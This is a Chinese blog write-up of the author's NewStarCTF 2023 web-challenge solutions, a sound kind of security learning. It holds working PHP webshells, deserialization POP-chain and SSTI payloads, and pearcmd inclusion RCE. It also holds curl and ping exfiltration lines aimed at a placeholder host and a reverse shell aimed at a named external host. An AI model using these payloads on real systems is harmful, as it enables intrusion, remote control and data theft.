2023NewStarCTF

NewStarCTF_2023

WEEK1

web-泄露的秘密

www.zip

robots.txt

web-begin of upload

写一句话木马,上传,抓包,改成php,蚁剑连接即可

web-begin of http

get,post,UA,cookie,referer

伪造IP

1
2
3
4
5
6
7
8
9
10
X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

web-begin of php

第一层

0e绕过

1
2
3
4
5
6
7
8
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

这些字符串的 md5 值都是 0e 开头,在 php 弱类型比较中判断为相等

第二层

1
2
3
对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的

所以传一个数组形式即可,key3[]=3

第三层

1
利用strcmp函数特点尝试使用数组绕过。令key4[]=xxx。

第四层

1
key5[]=2024ikun

第五层

基本全是数组绕过()

web-easylogin

进去之后,先是简单的密码爆破

然后进去一脸懵,翻了文件目录,也没翻到flag

最后在thai师傅的提示下,看了

burp-Proxy-http history,在某个记录里,发现了flag

一些反思:登陆成功后,跳转了挺长时间,所以应该藏着其他界面,所以应该抓包发现,看看有无神奇的地方

web-errorflask

一开始看到flask,以为是SSTI注入,没想到题如其名

error

一开始还在尝试SSTI注入,发现报错,

翻一下报错,没想到直接翻到flag了,hh

web-R!C!E!

爆破password,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib

target_prefix = "c4d038"
found_string = None

for i in range(1000000):
string = str(i).encode() # 将数字转换为字符串并编码为字节串
md5_hash = hashlib.md5(string).hexdigest() # 计算MD5哈希值并转换为十六进制字符串

if md5_hash[:6] == target_prefix:
found_string = string.decode() # 将字节串解码为字符串
break

if found_string:
print("找到匹配的字符串:", found_string)
else:
print("未找到匹配的字符串")

1
2
3
4
绕过system

echo `此处为命令`;
?><?=`此处为命令`;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出e_v.a.l这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

所以构造payload
password=114514&e[v.a.l=echo `tac /f*`;

附:
拼接可绕过,另解
password=114514&e[v.a.l=echo `l''s /`;
回显: bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
然后再password=114514&e[v.a.l=echo `c''at /f''lag`;
也可读取flag



WEEK2

web-游戏高手

js分析+post

web-ez_sql

直接sqlmap梭哈了

web-include 0.0

文件包含

用的这个payload

1
2
file_include
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

web-rce

git泄露+无参数RCE

1
?star=eval(next(getallheaders()));

最终payload

然后要改UA,为什么呢,因为是next

web-Unserialize?

exp如下:

1
2
3
4
5
6
7
8
9
10
<?php

class evil {
private $cmd="head /th*";
}

$kun=new evil();

echo urlencode(serialize($kun));
?>

一个很奇怪的点,不要写construct,直接赋值就好了

然后传就好了

web-Upload

上传图片改后缀行不通

上传.htaccess文件(文件名就是.htaccess)

内容为

1
2
3
4
<FilesMatch "kun.png">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传图片马,因内容被过滤,于是采用以下payload

1
2
3
<script language="php">
eval($_POST['ikun']);
</script>

然后蚁剑连上即可

WEEK3

web-pop链(学习)

一些魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct():创建对象时触发
__destruct() :对象被销毁时触发
__sleep() :在对象被序列化的过程中自动调用,且发生在序列化之前
__wakeup(): 该魔术方法在反序列化的时候自动调用,且发生在反序列化之前 
__get() :用于从不可访问或不存在的属性读取数据
__set() :用于将数据写入不可访问或不存在的属性
__call() :在对象上下文中调用不可访问的方法时触发
__callStatic() :在静态上下文中调用不可访问的方法时触发
__toString():在对象当做字符串的时候会被调用。
__invoke() :当尝试将对象调用为函数时触发

__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用。
__set_state():调用var_export()导出类时,此静态方法会被调用。
__clone():当对象复制完成时调用
__unset() :在不可访问的属性上使用unset()时触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 <?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

从destruct开始,触发tostring,接着触发invoke,然后是call,将Handle的obj设置为CTF,可触发unset,然后触发WhiteGod的unset,然后传入命令

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 

class Begin{
public $name;
}

class Then{
private $func;
public function __construct()
{

$a=new Super();

$this->func=$a;

}
}

class Handle{
protected $obj;
public function __construct()

{

$this->obj=new CTF();

}
}

class Super{
protected $obj;
public function __construct()
{

$this->obj=new Handle();

}
}

class CTF{
public $handle;
public function __construct()
{

$b=new WhiteGod();

$this->handle=$b;

}
}


class WhiteGod{
public $func="system";
public $var="ls /";

}

$begin=new Begin();
$begin->name=new Then();

echo urlencode(serialize($begin));


?>

官方的更加简洁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Begin{
public $name;
public function __construct($a){
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a){
$this->func= $a;
}
}
class Handle{
protected $obj;
public function __construct($a){
$this->obj = $a;
}
}
class Super{
protected $obj;
public function __construct($a){
$this->obj = $a;
}
}
class CTF{
public $handle;
public function __construct($a){
$this->handle = $a;
}
}
class WhiteGod{
public $func;
public $var;
public function __construct($a, $b){
$this->func = $a;
$this->var = $b;
}
}
// POP Gadget: // Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));echo urlencode(serialize($obj));

web-medium_sql

布尔盲注

自己写的脚本效率不高,返回的结果也不准确,没有经过优化(虽然能用),脚本++

web-Include 🍐

考点: php pearcmd文件包含

原理: 在register_argc_argv为on的环境下,通过包含pearcmd.php和传参可实现rce

常规payload:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

payload(本题不太一样,后面帮你加了php):

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_GET[1]);?>+/tmp/hello.php

(这里有个坑,直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改传参),后面又很奇怪,burp访问文件400了,但是页面直接访问却可以

然后文件包含即可进行RCE

web-R!!C!!E!!

无回显RCE

一道题目,看wp,学到了四种姿势:

第一种

非预期解,写入文件,然后访问,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class minipop{
public $code;
public $qwejaskdjnlka;

}

$a=new minipop();
$a->code="ls / | script /var/www/html/2";
//$a->code="ls / | te''e /var/www/html/1"; 或者
$a->qwejaskdjnlka=$a;
echo serialize($a);
?>

第二种

反斜杠绕过+反弹shell,exp如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
class minipop{
public $code="bas\h -c 'echo YmFzaCAtxxxxxxxxxxxxxxxxxxMTkuMTYwLjEzMC8xMDAgMD4mMQ== | ba\se64 -d| bas\h -i'";
public $qwejaskdjnlka;

}
$one=new minipop();
$one->qwejaskdjnlka=$one;
echo serialize($one);

//#其中echo后面的部分是 bash -i >& /dev/tcp/ip/port 0>&1 这样的,需要自己修改ip和端口

一开始死活不行,后面发现是hackbar问题,此题hackbarV2能用

第三种

dnslog外带,不过复现的时候,没打出来

贴上网上找到的资料,之后也许会用到🤔

http外带

1
curl your_own_ip.com/`whoami`

ICMP 外带

1
ping -c 1 `whoami`.your_own_ip.com

注意,命令执行的结果中,常常会有空格等等特殊字符,这个时候使用 base64 编码即可:
curl your_own_ip.com/$(whoami|base64)

第四种

bash盲注,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import time
import requests
url = "http://de1ff2b8-aeac-425f-a8d3-cdbb643daa29.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
# cat /flag的时候j可以调大一点,在ls的时候调小一点
for j in range(1,15):
#ascii码表
for k in range(32,127):
time.sleep(0.3)
k=chr(k)
payload =f"if [ `ls / | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
length=len(payload)
payload2 ={
"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
}
t1=time.time()
r=requests.post(url=url,data=payload2)
t2=time.time()
if t2-t1 >1.9:
result+=k
print(result)

result += " "

web-OtenkiGirl

原型链污染,看leavesong的博客之后再来理解这道题会好一点

打开题目,随便提交一些信息,然后抓包,可以发现两个请求地址

获取信息:

1
2
POST /info/0 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

提交信息:

1
2
POST /submit HTTP/1.1
Content-Type: application/json

提交信息必须为 JSON 格式,contactreason字段是必须的,例如

1
2
3
4
5
6
7
POST /submit HTTP/1.1
Content-Type: application/json

{
"contact": "test",
"reason": "test"
}

查看题目附件,发现有个hint,查看,说不是sql注入,再结合附件可猜测是原型链污染

查看routes/info.js源码,考察从数据库中获取数据的函数getInfo

1
2
3
4
5
6
7
async function getInfo(timestamp) {    
timestamp = typeof timestamp === "number" ? timestamp : Date.now(); // Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

其中第4行和第5行将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time

查看根目录下的config.jsconfig.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time

考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据

查看routes/submit.js源码,发现注入点

1
2
3
4
5
6
7
8
9
10
11
const merge = (dst, src) => {    
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;}
const result = await insert2db(merge(DEFAULT, data));

其中merge函数第7行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']的值即可

于是构造payload

1
2
3
4
5
6
7
8
9
10
POST /submit HTTP/1.1
Content-Type: application/json

{
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}

然后为我们再请求/info/0,,抓包里面请求即可,然后会把Content-Type错,修改即可在response里面看到flag

web-Genshin

F12,网络请求,在http响应包里发现一个路由,访问进去

fuzz测试,发现过滤了双层大括号,’,request,init,lipsum,popen

官方payload:

1
{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

其他payload:

1
{%print("".__class__.__bases__[0].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}
1
2
3
4
5
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}


# eval后面是下面这行的chr编码,可根据不同题目替换
__import__('os').popen('cat /flag').read()

使用最简单的就是文件读取模块

1
?name={% print(().__class__.__bases__[0].__subclasses__()[99]["get_data"](0,"/flag")) %}

WEEK4

web-逃

php反序列化字符串逃逸

逃逸部分为:

1
";s:3:"cmd";s:2:"tac /f*";}

payload

1
/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"tac /f*";}

web-midsql

时间盲注,自己手搓了一下,但总是碰壁,最后直接用官方的打了

web-More Fast

fast_destruct

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Start {
public $errMsg;
}
class Pwn {
public $obj;
}
class Reverse {
public $func;
}
class Web {
public $func = "system";
public $var = "ls";
}
class Crypto {
public $obj;
}
$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
$a[0] = $obj;
$a[1] = NULL;
echo str_replace("i:0", "i:1", serialize($a));

web-flask disk

访问admin manage发现要输入pin码,说明flask开启了debug模式。

flask开启了debug模式下,app.py源文件被修改后会立刻加载。

所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass

return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

上传成功后,直接在跟路由命令执行

web-PharOne

考点:无回显RCE,gzip压缩,phar反序列化

F12,发现class.php,得到源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);

phar反序列化,用普通的phar文件上传发现不行(jpg才行)
修改然后上传发现被正则匹配,绕过正则匹配,用gzip压缩的方法

exp写马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag{
public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后gzip命令压缩,并重命名为图片

1
2
gzip xx.phar
mv xx.phar.gz xx.jpg

上传成功后,使用phar伪协议读取上传文件,在class.php界面读

1
file=phar://upload/xxxxxxxxxxxxxxxxxxxx.jpg

然后再访问1.php,然后执行命令即可

还有另外一种解法:

打反弹shell,来自博主:[[NewStarCTF 2023] web题解-CSDN博客](https://blog.csdn.net/m0_73512445/article/details/133694293?ops_request_misc=%7B%22request%5Fid%22%3A%22170040077916800188556960%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=170040077916800188556960&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-133694293-null-null.142^v96^pc_search_result_base5&utm_term=NewStarCTF genshin&spm=1018.2226.3001.4187)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag{
public $cmd;
}

$a=new Flag();
$a->cmd="bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

和方法一差不多,先gzip压缩改后缀,然后phar伪协议读取
本地开启监听,然后成功反弹shell

web-InjectMe

目录穿越+session伪造+SSTI bypass

下载附件,发现是泄露了目录./app

点击图片,可以查看其他图片,发现有一张图片,泄露了部分源码

./download路由下,接受GET参数file,如果没有则filename为空值,然后是过滤了../,由于这里是替换为空,可以绕过。然后拼接路径,如果存在则返回,结合Dockerfile泄露的目录,可以猜到运行文件,直接目录穿越读取源码

1
/download?file=..././..././..././app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)


@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', port=8080)

很明显,session伪造,由源码可知密钥在config

此处backdoor的路由还存在SSTI漏洞,通过改变user的值,可以实现模板注入,所以要改session

复现的时候直接找网上的exp打了,柠檬的,实在有点复杂。

web-OtenkiBoy

WEEK5

web-4-复盘

本题跟前几周的misc有点关联的,根据前几周misc的一道流量分析题目,再加上这个源码

下载附件,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php require_once 'inc/header.php'; ?>
<?php require_once 'inc/sidebar.php'; ?>

<!-- Content Wrapper. Contains page content -->

<?php
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';

}else{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}else{
require_once 'pages/error_page.php';
}
?>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->

<?php require_once 'inc/footer.php'; ?>

可以看到有文件包含漏洞,将我们传参的值与php拼接
(这里可以参考week3的include)

bp抓包,写入一句话木马

1
2
?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+shell.php
1

2023NewStarCTF
http://ikun604.github.io/2023/09/29/NewStarCTF_web_WP/
作者
yfz-ikun604
发布于
2023年9月29日
许可协议